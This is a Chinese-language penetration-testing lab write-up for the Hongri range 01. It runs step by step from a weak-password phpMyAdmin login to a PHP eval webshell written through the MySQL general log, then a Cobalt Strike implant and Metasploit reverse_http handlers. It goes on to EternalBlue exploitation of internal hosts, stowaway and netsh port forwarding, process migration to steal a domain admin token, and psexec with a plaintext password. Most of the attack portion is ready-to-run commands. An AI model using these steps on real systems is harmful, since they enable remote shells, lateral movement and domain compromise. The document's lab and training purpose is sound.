红日靶场01
这个笔记主要是利用这个靶场环境,对内网渗透的思路进行整合一下,因此过程中会涉及多个攻击方式和思路。
环境搭建
- windows7 是靶机01
- Windows server 2008 R2 是靶机02
- Windows server 2003 是靶机03
- Windows 10 是攻击01
- kali 是攻击02(cs服务端和msf都在上面)
这个靶场网络拓扑结构如下
攻击靶机01
访问http://192.168.111.128/
发现有php探针,可以看到php开了哪些参数
尝试Mysql账号密码root/root可以连接,使用Navicat连接后,发现拒绝外部连接。
于是使用ffuf对网站进行目录扫描
发现存在phpMyAdmin服务,尝试弱口令root/root,成功登陆后台
这时候可以尝试使用Mysql写文件,写文件的思路有secure_file_priv
、利用日志写shell
secure_file_priv
1.查询是否有写入权限
show global variables like '%secure%';
secure_file_priv值为NULL = 禁止导入导出
secure_file_priv值无具体值/为空 = 无限制
2.导出语句
outfile
select '<?php phpinfo(); ?>' into outfile "C:\\\\phpStudy\\MySQL\\bin\\1.php";
可多行输出,注意格式是a\raa\raaaa
(使用\n
则会留下\
)
dumpfile
select '<?php phpinfo(); ?>' into dumpfile "C:\\phpStudy\\MySQL\\bin\\1.php"; select * from student into outfile 'C:/phpStudy/MySQL/bin/test.php';
只能导出一行,在写⽂件时会保持⽂件的原⽣内容/原数据格式,适合写二进制文件
但是发现有限制,尝试写日志,在网站首页php指针处就能看到网站路径
利用日志写shell
查询权限
SHOW VARIABLES LIKE '%log%';
写入命令
SHOW VARIABLES LIKE '%log%';
SET GLOBAL general_log = ON;
SET GLOBAL general_log_file = 'C:\\phpStudy\\WWW\\shell1.php';
SELECT "<?php @eval($_REQUEST[shell]); phpinfo();?>";
写入后,访问一句话马的路径,http://192.168.111.128/shell1.php
使用蚁剑连接后,上传cs生成的马,拿到控制权
内网-攻击靶机02
内网扫描
上传gogo内网扫描工具,使用参数gogo.exe -i 192.168.52.1/24 -m s -e -v -af
进行扫描,得到的dat文件下载下来
使用gogo.exe -F xxx.dat
打开后,可以看到扫描结果
通过扫描结果可以看到,192.168.52.138和192.168.52.141均存在ms17-010漏洞
cs的shell转给msf
将cs与msf进行联动,方便进行漏洞利用
msf开启监听
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 192.163.111.130
msf6 exploit(multi/handler) > set lport 8001
msf6 exploit(multi/handler) > exploit
cs开启一个监听转发器
将shell再生成一个转发给这个监听器
选择后,就上线了。
提权
这里提权可以选择使用cs或者msf,如果选择cs,就先提权,将提权后的shell转发给msf。使用msf提权的话,则输入getsys
提权即可
msf添加路由
为了使攻击机的msf能够访问到靶机2,需要在msf上添加路由
#新建路由
meterpreter > run post/multi/manage/autoroute
#查看新建路由
meterpreter > run autoroute -p
#挂起会话
meterpreter > background
添加后,想要对靶机02的ms17-010发起攻击,有两类payload,一个是bind
正向,另一个是reverse
反向。
msf正向攻击
msf6 exploit(multi/handler) > search ms17-010
msf6 exploit(multi/handler) > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.52.138
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 8080
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
但这个payload会失败,因为靶机02开了防火墙,8080端口不知道有没有放行。因此我尝试使用reverse反向攻击
反向代理搭建
但是使用反向攻击需要注意一点,靶机02并不能直接访问攻击机,所以在攻击机上进行监听是没有任何意义的。所以我们需要在靶机01上做一个反向端口转发,转发到攻击机上。我本来尝试使用msf中内置的portfwd
进行反向端口转发,但发现它这个功能无效,我使用的命令meterpreter > portfwd add -R -L 192.168.111.130 -l 9001 -p 4444
。所以这里上传使用stowaway
多级内网代理工具。
在攻击机02(kali)上,使用linux_x64_admin -l 192.168.111.130:9001 -s bcbcbc
启动管理服务
在靶机01上,上传windows_x64_agent.exe
,并使用命令windows_x64_agent.exe -c 192.168.111.130:9001 -s bcbcbc --reconnect 4
连接服务。
连接服务成功后,使用use 0
进入靶机01的控制中心,使用backward 4444 4444
命令,创建反向端口转发。靶机01监听4444端口,转发给攻击机02的4444端口。
至此,反向代理就搭建好了
这里我在测试的时候,还发现了一种方法,可以利用靶机01自带的netsh工具进行端口转发
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=192.168.111.130 connectport=4444
Windows自带的netsh工具,可以轻松将本地端口转发给外部服务器
打开命令提示符(CMD)作为管理员权限运行。
使用以下命令添加端口转发规则:
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
localaddress
:本地计算机的IP地址。localport
:本地计算机上要监听的端口。destaddress
:要转发到的目标地址。destport
:要转发到的目标端口。例如,要将本地计算机上的本地端口80转发到远程服务器192.168.1.100的端口8080,您可以执行以下命令:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=80 connectaddress=192.168.1.100 connectport=8080
验证端口转发是否成功:
netsh interface portproxy show all
使用以下命令删除要修改的规则:
netsh interface portproxy delete v4tov4 listenport=localport listenaddress=localaddress
msf反向攻击
msf6 exploit(multi/handler) > search ms17-010
msf6 exploit(multi/handler) > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_http
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.52.138
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.52.143
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 4444
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
msf会默认监听攻击机02的4444端口,发送的攻击命令中,指向的是192.168.52.143:4444
多打几次,就会反弹成功。
msf的shell转给cs
在cs中,配置监听器。
在stowaway中开启端口映射backward 9001 9001
在msf中
msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/local/payload_inject
msf6 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http
msf6 exploit(windows/local/payload_inject) > set LhOST 192.168.52.143
msf6 exploit(windows/local/payload_inject) > set lport 9001
msf6 exploit(windows/local/payload_inject) > set session 2
msf6 exploit(windows/local/payload_inject) > exploit
黄金票据攻击
进入靶机01中,收集如下信息
- 查找域控,
net time /domain
,然后解析域名名称,ping xxx - 查看域内主机,
net view
- 查看当前用户域信息,
whoami /fqdn
- 查看当前主机用户是否有域管理员用户,
net group "domain admins" /domain
发现确实是域管理员,准备窃取令牌
首先进行进程迁移,迁移到域管理员启动的进程中
这里使用httpd进程
meterpreter > migrate 4752
meterpreter > getuid
测试smb能否访问
# 若能访问,则尝试上线
msf6 exploit(windows/smb/ms17_010_psexec) > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_http
msf6 exploit(windows/smb/psexec) > set rhosts 192.168.52.138 #这里可以写网段,进行hash喷洒
msf6 exploit(windows/smb/psexec) > set lhost 192.168.52.143
msf6 exploit(windows/smb/psexec) > set lport 4447
msf6 exploit(windows/smb/psexec) > set smbdomain GOD.ORG
msf6 exploit(windows/smb/psexec) > set smbuser Administrator
msf6 exploit(windows/smb/psexec) > set smbpass hongrisec@2024
内网-攻击靶机03
在stowaway中开启端口映射backward 4447 4446
,因为在攻击02中,4446被cs监听占用,所以msf攻击时会监听失败,算是一个bug吧。
因为靶机03是x86系统,所以msf需要更换exp
msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set payload windows/meterpreter/reverse_http
msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.52.141
msf6 exploit(windows/smb/ms17_010_psexec) > set lhost 192.168.52.143
msf6 exploit(windows/smb/ms17_010_psexec) > set lport 4447
执行后,cs那里上线